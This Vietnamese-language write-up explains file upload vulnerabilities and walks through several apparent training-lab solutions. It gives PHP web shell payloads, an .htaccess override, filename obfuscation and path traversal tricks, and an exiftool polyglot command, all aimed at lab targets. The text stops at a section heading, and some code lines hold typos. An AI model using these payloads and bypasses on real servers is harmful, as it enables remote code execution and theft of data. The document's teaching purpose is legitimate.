File upload
Lแป hแปng file upload lร gรฌ ?
Lแป hแปng file upload lร khi mรกy chแปง web cho phรฉp ngฦฐแปi dรนng tแบฃi tแปp lรชn hแป thแปng tแปp cแปงa nรณ mร khรดng xรกc thแปฑc ฤแบงy ฤแปง nhแปฏng thแปฉ nhฦฐ tรชn, loแบกi, nแปi dung hoแบทc kรญch thฦฐแปc cแปงa chรบng. Viแปc khรดng thแปฑc thi ฤรบng cรกc hแบกn chแบฟ ฤแปi vแปi nhแปฏng ฤiแปu nร y cรณ thแป cรณ nghฤฉa lร ngay cแบฃ chแปฉc nฤng tแบฃi lรชn hรฌnh แบฃnh cฦก bแบฃn cลฉng cรณ thแป ฤฦฐแปฃc sแปญ dแปฅng ฤแป tแบฃi lรชn cรกc tแปp tรนy รฝ vร cรณ khแบฃ nฤng gรขy nguy hiแปm.
Tรกc ฤแปng cแปงa lแป hแปng file upload lร gรฌ ?
Tรกc ฤแปng thฦฐแปng phแปฅ thuแปc vร o hai yแบฟu tแป chรญnh:
Khรญa cแบกnh nร o cแปงa tแปp mร trang web khรดng xรกc thแปฑc ฤรบng cรกch, cho dรน ฤรณ lร kรญch thฦฐแปc, loแบกi, nแปi dung...
Nhแปฏng hแบกn chแบฟ nร o ฤฦฐแปฃc รกp dแปฅng cho tแปp sau khi ฤรฃ ฤฦฐแปฃc tแบฃi lรชn thร nh cรดng.
Trong trฦฐแปng hแปฃp tแป nhแบฅt, loแบกi tแปp khรดng ฤฦฐแปฃc xรกc thแปฑc hแปฃp lแป vร cแบฅu hรฌnh mรกy chแปง cho phรฉp mแปt sแป loแบกi tแปp nhแบฅt ฤแปnh ( nhฦฐ .php vร jsp) ฤฦฐแปฃc thแปฑc thi dฦฐแปi dแบกng mรฃ. Trong trฦฐแปng hแปฃp nร y attacker cรณ khแบฃ nฤng cรณ thแป tแบฃi lรชn tแปp mรฃ phรญa mรกy chแปง cรณ chแปฉc nฤng nhฦฐ webshell, cแบฅp cho chรบng toร n quyแปn kiแปm soรกt mรกy chแปง mแปt cรกch hiแปu quแบฃ.
Lแป hแปng file upload phรกt sinh nhฦฐ thแบฟ nร o ?
Trong thแปฑc tแบฟ, rแบฅt รญt khi cรกc trang web khรดng cรณ bแบฅt kรฌ hแบกn chแบฟ nร o ฤแปi vแปi nhแปฏng tแปp mร ngฦฐแปi dรนng ฤฦฐแปฃc phรฉp tแบฃi lรชn. Cรกc nhร phรกt triแปn triแปn khai nhแปฏng gรฌ hแป tin lร xรกc thแปฑc mแบกnh mแบฝ vแปn cรณ thiแบฟu sรณt hoแบทc cรณ thแป dแป dร ng bแป qua.
Vรญ dแปฅ, hแปc cรณ thแป cแป gแบฏng ฤฦฐa cรกc loแบกi tแปp nguy hiแปm vร o danh sรกch ฤen nhฦฐng khรดng tรญnh ฤแบฟn sแปฑ khรกc biแปt vแป phรขn tรญch cรบ phรกp khi kiแปm tra mแป rแปng tแปp. Vแปi bแบฅt kรฌ danh sรกch ฤen nร o, bแบกn cลฉng cรณ thแป vรด tรฌnh bแป qua cรกc loแบกi tแปp khรณ hiแปu hฦกn mร vแบซn cรณ thแป nguy hiแปm.
Trong trฦฐแปng hแปฃp khรกc, trang web cรณ thแป cแป gแบฏng kiแปm tra loแบกi tแปp bแบฑng cรกch xรกc minh cรกc thuแปc tรญnh mร kแบป tแบฅn cรดng cรณ thแป dแป dร ng thao tรบng bแบฑng cรกc cรดng cแปฅ nhฦฐ Burp proxy hoแบทc Repeater.
Lร m cรกch nร o ฤแป mรกy chแปง web xแปญ lรฝ cรกc yรชu cแบงu ฤแปi vแปi tแปp tฤฉnh ?
Trฦฐแปc ฤรขy, cรกc trang web bao gแปm hแบงu hแบฟt cรกc tแปp tฤฉnh sแบฝ ฤฦฐแปฃc cung cแบฅp cho ngฦฐแปi dรนng khi ฤฦฐแปฃc yรชu cแบงu. Do ฤรณ, ฤฦฐแปng dแบซn cแปงa tแปซng yรชu cแบงu cรณ thแป ฤฦฐแปฃc รกnh xแบก 1:1 vแปi hแป thแปng phรขn cแบฅp cแปงa cรกc thฦฐ mแปฅc vร tแปp trรชn hแป thแปng tแปp cแปงa mรกy chแปง. Ngร y nay, cรกc trang web ngร y cร ng tรขn tiแบฟn hฦกn vร ฤฦฐแปng dแบซn cแปงa mแปt yรชu cแบงu thฦฐแปng khรดng cรณ mแปi quan hแป trแปฑc tiแบฟp vร o vแปi hแป thแปng tแปp. Tuy nhiรชn cรกc trang web vแบซn xแปญ lรฝ cรกc yรชu cแบงu ฤแปi vแปi mแปt sแป tแปp tฤฉnh, bao gแปm hรฌnh แบฃnh ....
Quรก trรฌnh xแปญ lรฝ cรกc tแปp tฤฉnh nร y phแบงn lแปn lร giแปng nhau. Tแบกi mแปt sแป ฤiแปm, mรกy chแปง phรขn tรญch cรบ phรกp ฤฦฐแปng dแบซn trong yรชu cแบงu ฤแป xรกc ฤแปnh phแบงn mแป rแปng tแปp. Sau ฤรณ, nรณ sแปญ dแปฅng thรดng tin nร y ฤแป xรกc ฤแปnh loแบกi tแปp ฤฦฐแปฃc yรชu cแบงu, thฦฐแปng bแบฑng cรกch so sรกnh nรณ vแปi danh sรกch ฤฦฐแปฃc รกnh xแบก ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh sแบตn giแปฏa cรกc phแบงn mแป rแปng vร loแบกi MIME.
Nแบฟu loแบกi tแปp nร y khรดng thแป thแปฑc thi ฤฦฐแปฃc, chแบณng hแบกn nhฦฐ hรฌnh แบฃnh hoแบทc trang HTML tฤฉnh, mรกy chแปง cรณ thแป chแป gแปญi nแปi dung cแปงa tแปp tแปi mรกy khรกch trong phแบฃn hแปi HTTP.
Nแบฟu loแบกi tแปp cรณ thแป thแปฑc thi ฤฦฐแปฃc, chแบณng hแบกn nhฦฐ tแปp PHP vร mรกy chแปง ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh ฤแป thแปฑc thi cรกc tแปp thuแปc loแบกi nร y, nรณ sแบฝ gรกn cรกc biแบฟn dแปฑa trรชn cรกc tiรชu ฤแป vร tham sแป trong yรชu cแบงu HTTP trฦฐแปc khi chแบกy tแบญp lแปnh. Sau ฤรณ, ฤแบงu ra kแบฟt quแบฃ cรณ thแป ฤฦฐแปฃc gแปญi ฤแบฟn mรกy khรกc trong phแบฃn hแปi HTTP.
Nแบฟu loแบกi tแปp cรณ thแป thแปฑc thi ฤฦฐแปฃc, nhฦฐng mรกy chแปง khรดng ฤฦฐแปฃc cแบฅu hรฌnh ฤแป thแปฑc thi cรกc tแปp thuแปc loแบกi nร y, thฦฐแปng phแบฃn hแปi bแบฑng lแปi. Tuy nhiรชn, trong mแปt sแป trฦฐแปng hแปฃp, nแปi dung cแปงa tแปp vแบซn cรณ thแป ฤฦฐแปฃc cung cแบฅp cho khรกch hร ng dฦฐแปi dแบกng vฤn bแบฃn thuแบงn tรบy. Nhฦฐng cแบฅu hรฌnh sai nhฦฐ vแบญy ฤรดi khi cรณ thแป bแป khai thรกc ฤแป rรฒ rแป mรฃ nguแปn vร cรกc thรดng tin nhแบกy cแบฃm khรกc.
Exploiting unrestricted file uploads to deploy a web shell
Tรฌnh huแปng xแบฅu nhแบฅt cรณ thแป xแบฃy ra lร khi mแปt trang web cho phรฉp bแบกn tแบฃi lรชn cรกc tแบญp lแปnh phรญa mรกy chแปง, chแบณng hแบกn nhฦฐ cรกc tแปp PHP, Java hoแบทc Python, ฤแปng thแปi cลฉng ฤฦฐแปฃc ฤแปnh cแบฅu hรฌnh ฤแป thแปฑc thi chรบng dฦฐแปi dแบกng mรฃ. ฤiแปu nร y lร m cho viแปc tแบกo webshell cแปงa riรชng bแบกn trรชn mรกy chแปง trแป nรชn ฤฦกn giแบฃn.
Nแบฟu bแบกn cรณ thแป tแบฃi lรชn webshell, bแบกn thแปฑc sแปฑ cรณ toร n quyแปn kiแปm soรกt mรกy chแปง. ฤiแปu nร y cรณ nghฤฉa lร bแบกn cรณ thแป ฤแปc vร ghi cรกc tแปp tรนy รฝ, lแปc dแปฏ liแปu nhแบกy cแบฃm, thแบญm chรญ sแปญ dแปฅng mรกy chแปง ฤแป xoay vรฒng cรกc cuแปc tแบฅn cรดng chแปng lแบกi cแบฃ cฦก sแป hแบก tแบงng nแปi bแป vร cรกc mรกy chแปง khรกc bรชn ngoร i mแบกng. Vรญ dแปฅ:
<?php echo file_get_content('path/to/target/file');?>
Thแปฑc hร nh lab: (Level Apprentice)
Tรชn lab: Remote code execution via web shell upload
Nแปi dung lab: Trang web nร y chแปฉa lแป hแปng trong chแปฉc nฤng tแบฃi แบฃnh lรชn. Nรณ khรดng thแปฑc hiแปn bแบฅt kแปณ xรกc thแปฑc nร o ฤแปi vแปi cรกc tแปp mร ngฦฐแปi dรนng tแบฃi lรชn trฦฐแปc khi lฦฐu trแปฏ chรบng trรชn hแป thแปng tแปp cแปงa mรกy chแปง. ฤแป giแบฃi quyแบฟt lab, hรฃy tแบฃi lรชn web shell PHP cฦก bแบฃn vร trรญch xuแบฅt nแปi dung cแปงa tแปp /home/carlos/secret.
Thแปฑc hiแปn lab:
ฤฤng nhแบญp vแปi thรดng tin tร i khoแบฃn mแบญt khแบฉu ฤรฃ cho
Tแบกo 1 file webshel.php vแปi nแปi dung: <? php echo file_get_contents('/home/carlos/secret'); ?>
Upload file webshel.php ฤรณ lรชn vร gแปญi request
Trong mแปฅc Proxy->History gแปญi request vแปi phฦฐฦกng thแปฉc GET /files/avatars/webshell.php ฤแบฟn Repeater.
Gแปญi request ฤรณ ฤแป nhแบญn ฤฦฐแปฃc thรดng tin bรญ mแบญt. Submit vร hoร n thร nh lab.

Exploiting flawed validation of file uploads
Trรชn thแปฑc tแบฟ, rแบฅt รญt khi mร cรณ thแป tรฌm thแบฅy mแปt trang web khรดng cรณ biแปn phรกp bแบฃo vแป nร o chแปng lแบกi cรกc cuแปc tแบฅn cรดng tแบฃi lรชn tแปp nhฦฐ thรญ nghiแปm trฦฐแปc. Nhฦฐng chแป vรฌ hแป thแปng phรฒng thแปง ฤฦฐแปฃc ฤแบทt ฤรบng chแป, ฤiแปu ฤรณ khรดng cรณ nghฤฉa lร chรบng an toร n.
Flawed file type validation
Mแปt cรกch mร cรกc trang web cรณ thแป cแป gแบฏng xรกc thแปฑc cรกc tแปp tแบฃi lรชn lร kiแปm tra xem tiรชu ฤแป Content-Type dร nh riรชng cho ฤแบงu vร o nร y cรณ khแปp vแปi loแบกi MIME dแปฑ kiแบฟn hay khรดng. Vรญ dแปฅ: nแบฟu mรกy chแปง chแป mong ฤแปฃi cรกc tแปp hรฌnh แบฃnh, thรฌ nรณ chแป cรณ thแป cho phรฉp cรกc loแบกi nhฦฐ image/jpeg vร image/png. Cรกc vแบฅn ฤแป cรณ thแป phรกt sinh khi giรก trแป cแปงa tiรชu ฤแป nร y ฤฦฐแปฃc mรกy chแปง hoร n toร n tin cแบญy. Nแบฟu khรดng thแปฑc hiแปn xรกc thแปฑc thรชm ฤแป kiแปm tra xem nแปi dung cแปงa tแปp cho thแปฑc sแปฑ khแปp vแปi loแบกi MIME giแบฃ ฤแปnh hay khรดng, chรญnh vรฌ vแบญy, biแปn phรกp bแบฃo vแป nร y cรณ thแป dแป dร ng vฦฐแปฃt qua bแบฑng cรกch sแปญ dแปฅng Burp Repeater.
Thแปฑc hร nh lab: (Level Apprentice)
Tรชn lab: Web shell upload via Content-Type restriction bypass
Nแปi dung lab: Trang web chแปฉa chแปฉc nฤng tแบฃi lรชn hรฌnh แบฃnh dแป bแป tแบฅn cรดng. Nรณ cแป gแบฏng ngฤn ngฦฐแปi dรนng tแบฃi lรชn cรกc loแบกi tแปp khรดng mong muแปn nhฦฐng dแปฑa vร o viแปc kiแปm tra ฤแบงu vร o do ngฦฐแปi dรนng kiแปm soat ฤแป xรกc minh ฤiแปu nร y. ฤแป giแบฃi quyแบฟt lab, hรฃy tรฌm bรญ mแบญt trong tแปp /home/carlos/secret .
Thแปฑc hiแปn lab:
ฤฤng nhแบญp vร o tร i khoแบฃn ฤรฃ cho. Tแบกo file webshell12.php vร upload.
Dรนng Burp suite ฤแป chแบทn request vร sแปญ ฤแปi tiรชu ฤแป: Content-type : image/jpeg

Nhฦฐ vแบญy file ฤรฃ ฤฦฐแปฃc upload thร nh cรดng. Truy cแบญp request ฤแป ฤแปc file bรญ mแบญt.

Preventing file execution in user-accessible directories
Mแบทc dรน ฤiแปu nร y lร tแปt hฦกn viแปc chแป ngฤn chแบทn cรกc loแบกi tแปp nguy hiแปm ฤฦฐแปฃc tแบฃi lรชn ngay tแปซ ฤแบงu, tuyแบฟn phรฒng thแปง thแปฉ hai lร ngฤn mรกy chแปง thแปฑc thi bแบฅt kแปณ tแบญp lแปnh nร o lแปt qua mแบกng.
ฤแป phรฒng ngแปซa ฤiแปu nร y, cรกc mรกy chแปง chแป chแบกy cรกc tแบญp lแปnh cรณ loแบกi MIME mร chรบng ฤรฃ ฤฦฐแปฃc cแบฅu hรฌnh rรต rร ng ฤแป thแปฑc thi. Mแบทt khรกc, chรบng cรณ thแป chแป trแบฃ vแป mแป sแป loแบกi thรดng bรกo lแปi hoแบทc cung cแบฅp nแปi dung cแปงa tแปp dฦฐแปi dแบกng vฤn bแบฃn thuแบงn tรบy.
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
<?php echo system($_GET['command']); ?>
Hร nh vi nร y cรณ thแป cung cแบฅp mแปt cรกch ฤแป rรฒ rแป mรฃ nguแปn nhฦฐng nรณ vรด hiแปu quรก mแปi lแป lแปฑc tแบกo web shell.
Loแบกi cแบฅu hรฌnh nร y thฦฐแปng khรกc nhau giแปฏa cรกc thฦฐ mแปฅc. Mแป thฦฐ mแปฅc mร cรกc tแปp do ngฦฐแปi dรนng cung cแบฅp ฤฦฐแปฃc tแบฃi lรชn sแบฝ cรณ khแบฃ nฤng kiแปm soรกt chแบทt chแบฝ hฦกn nhiแปu so vแปi cรกc vแป trรญ khรกc trรชn hแป thแปng tแปp ฤฦฐแปฃc cho lร nแบฑm ngoร i tแบงm vแปi cแปงa ngฦฐแปi dรนng cuแปi. Nแบฟu bแบกn cรณ thแป tรฌm cรกch tแบฃi tแบญp lแปnh lรชn mแปt thฦฐ mแปฅc khรกc khรดng ฤฦฐแปฃc phรฉp chแปฉa cรกc tแปp do ngฦฐแปi dรนng cung cแบฅp thรฌ cuแปi cรนng mรกy chแปง cรณ thแป thแปฑc thi tแบญp lแปnh cแปงa bแบกn.
Thแปฑc hร nh lab: (Level Practitioner)
Tรชn lab : Web shell upload via path traversal
Nแปi dung lab: Trang web nร y chแปฉa lแป hแปng trong chแปฉc nฤng tแบฃi แบฃnh lรชn. Mรกy chแปง ฤฦฐแปฃc cแบฅu hรฌnh ฤแป bแบฃo vแป viแปc thแปฑc thi cรกc tแบญp cรกc tแบญp lแปnh do ngฦฐแปi dรนng cung cแบฅp, nhฦฐng do hแบกn chแบฟ nร y cรณ thแป bแป qua bแบฑng cรกch khai thรกc lแป hแปng thแปฉ cแบฅp. ฤแป giแบฃi quyแบฟt, hรฃy tรฌm nแปi dung tแปp /home/carlos/secret.
Thแปฑc hiแปn lab:
Tแบฃi lรชn 1 bแปฉc แบฃnh bรฌnh thฦฐแปng ฤแป xem chแปฉc nฤng hiแปn thแป.
Tแบกo 1 file PHP chแปฉa nแปi dung sau vร upload lรชn.
<?php echo file_get_contents('/home/carlos/secret'); ?>
Nhแบญn thแบฅy trang web khรดng chแบทn file PHP. Nhฦฐng kแบฟt quแบฃ trแบฃ vแป chแป lร mแปt vฤn bแบฃn.Trong request POST /my-account/avatar, gแปญi ฤแบฟn Repeater vร sแปญa : filename = '../test.php' vร gแปญi request. Nhแบญn thแบฅy file vแบซn ฤฦฐแปฃc tแบฃi lรชn.
Trong Proxy -> History. Tรฌm request GET /file/avatar/../test.php. Gแปญi ฤแบฟn Repeater vร ฤแปc nแปi dung bรญ mแบญt.

ฤiแปu nร y cho biแบฟt rแบฑng tแปp ฤรฃ ฤฦฐแปฃc tแบฃi lรชn thฦฐ mแปฅc cao hฦกn trong hแป thแปng phรขn cแบฅp tแปp ( /files
) vร sau ฤรณ ฤฦฐแปฃc thแปฑc thi bแปi mรกy chแปง. Lฦฐu รฝ rแบฑng ฤiแปu nร y cรณ nghฤฉa lร bแบกn cลฉng cรณ thแป yรชu cแบงu tแปp nร y bแบฑng cรกch sแปญ dแปฅng tแปp GET /files/test.php
Insufficient blacklisting of dangerous file types
Mแปt trong nhแปฏng cรกch rรต rร ng hฦกn ฤแป ngฤn ngฦฐแปi dรนng tแบฃi lรชn cรกc tแปp ฤแปc hแบกi lร ฤฦฐa vร o danh sรกch ฤen cรกc phแบงn mแป rแปng tแปp nguy hiแปm tiแปm tร ng nhฦฐ .php . Viแปc lแบญp danh sรกch ฤen vแปn ฤรฃ cรณ sai sรณt vรฌ khรณ cรณ thแป ngฤn chแบทn rรต rร ng mแปi phแบงn mแป rแปng tแปp cรณ thแป ฤฦฐแปฃc sแปญ dแปฅng ฤแป thแปฑc thi mรฃ. Nhแปฏng danh sรกch ฤen nhฦฐ vแบญy ฤรดi khi cรณ thแป ฤฦฐแปฃc bแป qua bแบฑng cรกch sแปญ dแปฅng cรกc phแบงn mแป rแปng tแปp thay thแบฟ, รญt ฤฦฐแปฃc biแบฟt ฤแบฟn hฦกn mร vแบซn cรณ thแป thแปฑc thi. (php5, phtml,...)
Overriding the server configuration
Cรกc mรกy chแปง thฦฐแปng khรดng thแปฑc thi cรกc tแปp trแปซ khi chรบng ฤฦฐแปฃc cแบฅu hรฌnh lร m nhฦฐ vแบญy. Vรญ dแปฅ: trฦฐแปc khi mรกy chแปง Apache thแปฑc thi cรกc tแปp PHP do khรกch hร ng yรชu cแบงu, cรกc nhร phรกt triแปn cรณ thแป phแบฃi thรชm cรกc lแปnh sau vร o tแปp /etc/apache2/apache2.conf cแปงa hแป:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Nhiแปu mรกy chแปง cลฉng cรณ phรฉp cรกc dev tแบกo cรกc tแปp cแบฅu hรฌnh ฤแบทc biแปt trong cรกc thฦฐ mแปฅc riรชng lแบป ฤแป ghi ฤรจ hoแบทc thรชm vร o mแปt hoแบทc nhiแปu cร i ฤแบทt chung. Vรญ dแปฅ, cรกc mรกy chแปง Apache sแบฝ tแบฃi mแปt cแบฅu hรฌnh dร nh riรชng cho thฦฐ mแปฅc tแปซ mแปt tแบญp cรณ tรชn .htaccess nแบฟu cรณ.
Tฦฐฦกng tแปฑ, cรกc dev cรณ thแป tแบกo cแบฅu hรฌnh dร nh riรชng cho thฦฐ mแปฅc trรชn mรกy chแปง IIS bแบฑng web.config. ฤiแปu nร y cรณ thแป bao gแปm cรกc lแปnh sau, trong trฦฐแปng hแปฃp nร y cho phรฉp cรกc tแปp JSON ฤฦฐแปฃc cung cแบฅp cho ngฦฐแปi dรนng:

Thแปฑc hร nh lab : (Level Practitioner)
Tรชn lab: Web shell upload via extension blacklist bypass
Nแปi dung lab : Trang web nร y cรณ chแปฉc nฤng tแบฃi แบฃnh lรชn dแป bแป tแบฅn cรดng. Mแปt sแป phแบงn mแป rแปng tแปp nhแบฅt ฤแปnh ฤฦฐแปฃc ฤฦฐa vร o danh sรกch ฤen, nhฦฐng biแปn phรกp bแบฃo vแป nร y cรณ thแป bแป bแป qua do mแปt lแป hแปng co bแบฃn trong cแบฅu hรฌnh cแปงa danh sรกch ฤen nร y. ฤแป hoร n thร nh lab, hรฃy truy xuแบฅt nแปi dung tแปp /home/carlos/secret
Thแปฑc hiแปn lab:
Upload 1 bแปฉc แบฃnh bรฌnh thฦฐแปng vร gแปญi request
Gแปญi Request POST /my-account/avatar ฤแบฟn Repeater
Sแปญa ฤแปi filename thร nh shell.php vร nแปi dung thร nh : <? php echo file_get_contents('/home/carlos/secret'); ?>
Dฦฐแปng nhฦฐ server ฤรฃ chแบทn khรดng cho upload file ฤuรดi .php .Thแปญ nhแปฏng phแบงn mแป rแปng khรกc nhฦฐ kแบฟt quแบฃ trแบฃ vแป chแป lร vฤn bแบฃn thuแบงn tรบy.
Sแปญa ฤแปi filename thร nh .htaccess , Content-Type : text/plain, nแปi dung file : AddType application/x-httpd-php .misa

File .htaccess ฤรฃ ฤฦฐแปฃc upload lรชn. Bรขy giแป, upload mแปt file shell.misa vแปi nแปi dung <? php echo file_get_contents('/home/carlos/secret'); ?> . vร tรฌm tแปi request GET /files/avatars/shell.misa. Nแปi dung bรญ mแบญt cแปงa tแปp ฤรฃ ฤฦฐแปฃc ฤแปc.

Obfuscating file extensions
Ngay cแบฃ nhแปฏng danh sรกch ฤen toร n diแปn nhแบฅt cลฉng cรณ thแป bแป bแป qua bแบฑng cรกch sแปญ dแปฅng cรกc kแปน thuแบญt che giแบฅu cแป ฤiแปn. Giแบฃ sแปญ, mรฃ xรกc thแปฑc phรขn biแปt chแปฏ hoa vร chแปฏ thฦฐแปng vร khรดng nhแบญn ra thแปฑc tแบฟ exploit.pHp lร mแปt tแปp .php . Nแบฟu mรฃ sau ฤรณ รกnh xแบก phแบงn mแป rแปng tแปp sang loแบกi MIME khรดng phรขn biแปt chแปฏ hoa vร chแปฏ thฦฐแปng, thรฌ sแปฑ khรกc biแปt nร y cho phรฉp bแบกn ฤรกnh cแบฏp cรกc tแปp PHP ฤแปc hแบกi trong quรก trรฌnh xรกc thแปฑc mร cuแปi cรนng cรณ thแป ฤฦฐแปฃc thแปฑc thi bแปi mรกy chแปง.
Cรณ thแป ฤแบกt ฤฦฐแปฃc kแบฟt quแบฃ tฦฐฦกng tแปฑ bแบฑng cรกch sแปญ dแปฅng cรกc kแปน thuแบญt sau:
Cung cแบฅp nhiแปu tiแปn รญch mแป rแปng. Tรนy thuแปc vร o thuแบญt toรกn ฤฦฐแปฃc sแปญ dแปฅng ฤแป phรขn tรญch cรบ phรกp tรชn tแปp, tแปp sau ฤรขy cรณ thแป ฤฦฐแปฃc hiแปu lร tแปp PHP hoแบทc hรฌnh แบฃnh (exploit.php.jpg)
Thรชm cรกc kรญ tแปฑ theo sau. Mแปt sแป thร nh phแบงn sแบฝ loแบกi bแป hoแบทc bแป qua khoแบฃng trแบฏng แป cuแปi, dแบฅu chแบฅm vร nhแปฏng thแปฉ tฦฐฦกng tแปฑ: exploit.php.
Sแปญ dแปฅng mรฃ hรณa URL (hoแบทc mรฃ hรณa kรฉp URL) cho dแบฅu chแบฅm, dแบฅu gแบกch chรฉo lรชn vร dแบฅu gแบกch chรฉo ngฦฐแปฃc. Nแบฟu giรก trแป khรดng ฤฦฐแปฃc giแบฃi mรฃ khi xรกc thแปฑc phแบงn mแป rแปng tแปp, nhฦฐng sau ฤรณ ฤฦฐแปฃc giแบฃi mรฃ phรญa mรกy chแปง, ฤiแปu nร y cลฉng cรณ thแป cho phรฉp bแบกn tแบฃi lรชn cรกc tแปp ฤแปc hแบกi mร ฤรกng lแบฝ ra sแบฝ bแป chแบทn : exploit%2Ephp
Thรชm dแบฅu chแบฅm phแบฉy hoแบทc kรฝ tแปฑ byte rแปng ฤฦฐแปฃc mรฃ hรณa URL trฦฐแปc phแบงn mแป rแปng tแปp. Vรญ dแปฅ: nแบฟu quรก trรฌnh xรกc thแปฑc ฤฦฐแปฃc viแบฟt bแบฑng ngรดn ngแปฏ cao cแบฅp nhฦฐ PHP hoแบทc Java, nhฦฐng mรกy chแปง xแปญ lรฝ tแปp bแบฑng cรกc hร m cแบฅp thแบฅp hฦกn trong C/C++, thรฌ ฤiแปu nร y cรณ thแป gรขy ra sแปฑ khรกc biแปt แป phแบงn ฤฦฐแปฃc coi lร phแบงn cuแปi cแปงa tแปp : exploit.asp;.jpg hoแบทc exploit.asp%00.jpg
Sแปญ dแปฅng cรกc kรฝ tแปฑ unicode nhiแปu byte, cรณ thแป ฤฦฐแปฃc chuyแปn ฤแปi thร nh byte rแปng vร dแบฅu chแบฅm sau khi chuyแปn ฤแปi hoแบทc chuแบฉn hรณa unicode. Cรกc chuแปi xC0 x2E, xC4 xAE hoแบทc xC0 xAE cรณ thแป ฤฦฐแปฃc dแปch thร nh x2E nแบฟu tรชn tแปp ฤฦฐแปฃc phรขn tรญch cรบ phรกp dฦฐแปi dแบกng chuแปi UTF-8, nhฦฐng sau ฤรณ ฤฦฐแปฃc chuyแปn ฤแปi thร nh kรญ tแปฑ ASCII trฦฐแปc khi ฤฦฐแปฃc sแปญ dแปฅng trong ฤฦฐแปng dแบซn.
Thแปฑc hร nh lab: (Level Practitioner)
Tรชn lab: Web shell upload via obfuscated file extension
Nแปi dung lab: Trang web nร y chแปฉa chแปฉc nฤng tแบฃi แบฃnh lรชn hรฌnh แบฃnh dแป bแป tแบฅn cรดng. Mแปt sแป phแบงn mแป rแปng tแปp nhแบฅt ฤแปnh ฤฦฐแปฃc ฤฦฐa vร o danh sรกch ฤen, nhฦฐng cรณ thแป bแป qua biแปn phรกp bแบฃo vแป nร y bแบฑng kแปน thuแบญt che giแบฅu cแป ฤiแปn. ฤแป giแบฃi quyแบฟt bร i lab nร y, hรฃy ฤแปc nแปi dung tแปp /home/carlos/secret
Thแปฑc hiแปn lab:
Tแบฃi lรชn mแปt bแปฉc แบฃnh bแบฅt kรฌ vร gแปญi request ฤรณ tแปi Repeater.
Sแปญa ฤแปi nแปi dung tแปp thร nh : <?php echo file_get_contents(/home/carlos/secret'); ?> sแปญa ฤแปi filename thร nh webshell.php%00jpg (Bแบกn tแปฑ kiแปm tra cรกc phแบงn mแป rแปng tแปp trฦฐแปc rแปi mแปi thแปญ phแบงn mแป rแปng nร y ฤแป cรณ cรกi nhรฌn tแปng quan nhแบฅt)

File ฤรฃ ฤฦฐแปฃc upload lรชn thร nh cรดng.
Bรขy giแป, tรฌm request chแปฉa ฤฦฐแปng dแบซn ฤแบฟn file mรฌnh vแปซa upload lรชn vร gแปญi ฤแบฟn Repeater. Xรณa ฤuรดi %00jpg แป ฤฦฐแปng dแบซn ฤแป ฤแปc file.
Flawed validation of the file's contents
Thay vรฌ hoร n toร n tin tฦฐแปng vร o Content-Type ฤฦฐแปฃc chแป ฤแปnh trong mแปt yรชu cแบงu, cรกc mรกy chแปง an toร n hฦกn sแบฝ cแป gแบฏng xรกc minh rแบฑng nแปi dung cแปงa tแปp thแปฑc sแปฑ khแปp vแปi nhแปฏng gรฌ ฤฦฐแปฃc mong ฤแปฃi.
Trong trฦฐแปng hแปฃp chแปฉc nฤng tแบฃi ฤฦฐแปฃc lรชn hรฌnh แบฃnh, mรกy chแปง cรณ thแป cแป gแบฏng xรกc minh mแปt sแป thuแปc tรญnh nแปi tแบกi cแปงa hรฌnh แบฃnh, chแบณng hแบกn nhฦฐ kรญch thฦฐแปc cแปงa hรฌnh แบฃnh. Vรญ dแปฅ: nแบฟu bแบกn thแปญ tแบฃi lรชn mแปt tแบญp lแปnh PHP, tแบญp lแปnh ฤรณ sแบฝ khรดng bแบฅt kแปณ thแปฉ nguyรชn nร o. Do ฤรณ, mรกy chแปง cรณ thแป suy luแบญn rแบฑng ฤรณ khรดng thแป lร hรฌnh แบฃnh vร tแปซ chแปi tแบฃi lรชn tฦฐฦกng แปฉng.
Tฦฐฦกng tแปฑ, mแปt sแป loแบกi tแปp nhแบฅt ฤแปnh cรณ thแป luรดn chแปฉa mแปt byte cแปฅ thแป trong ฤแบงu trang hoแบทc chรขn trang cแปงa chรบng. Chรบng cรณ thแป ฤฦฐแปฃc sแปญ dแปฅng nhฦฐ dแบฅu vรขn tay hoแบทc chแปฏ kรญ ฤแป xรกc ฤแปnh xem nแปi dung cรณ khแปp vแปi loแบกi dแปฑ kiแบฟn hay khรดng. Vรญ dแปฅ : cรกc tแปp JPEG luรดn bแบฏt ฤแบงu bแบฑng byte FF D8 FF E0
Thแปฑc hร nh lab: (Level Practitioner)
Tรชn lab: Remote code execution via polyglot web shell upload
Nแปi dung lab: Trang web nร y chแปฉa chแปฉc nฤng tแบฃi แบฃnh lรชn dแป bแป tแบฅn cรดng. Mแบทc dรน ฤรฃ kiแปm tra nแปi dung cแปงa tแปp ฤแป xรกc minh rแบฑng ฤรณ lร hรฌnh แบฃnh ฤรบng nhฦฐng vแบซn cรณ thแป tแบฃi lรชn vร thแปฑc thi mรฃ phรญa mรกy chแปง. ฤแป giแบฃi quyแบฟt vแบฅn ฤแป nร y, ฤแปc nแปi dung tแปp /home/carlos/secret.
Thแปฑc hiแปn lab:
Tแบกo 1 file php vแปi nแปi dung: <?php echo file_get_contents('/home/carlos/content'); ?> Upload file nร y lรชn vร xem trang web ฤรฃ chแบทn bแบฑng biแปn phรกp nร o.
Tแบกo mแปt polyglot vแปi exiftool:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-images.jpg -o polyglot.php
Upload file polyglot.php lรชn vร ฤแปc nแปi dแปฅng file bรญ mแบญt:
Exploiting file upload vulnerabilities without remote code execution
Trong cรกc bร i lab trรชn, chรบng ta ฤรฃ cรณ thแป tแบฃi lรชn cรกc tแบญp lแปnh phรญa mรกy chแปง ฤแป thแปฑc thi mรฃ tแปซ xa. ฤรขy lร hแบญu quแบฃ nghiรชm trแปng nhแบฅt cแปงa chแปฉc nฤng tแบฃi lรชn tแปp khรดng an toร n, nhฦฐng nhแปฏng lแป hแปng nร y vแบซn cรณ thแป bแป khai thรกc theo nhแปฏng cรกch khรกc.
Uploading malicious client-site topics
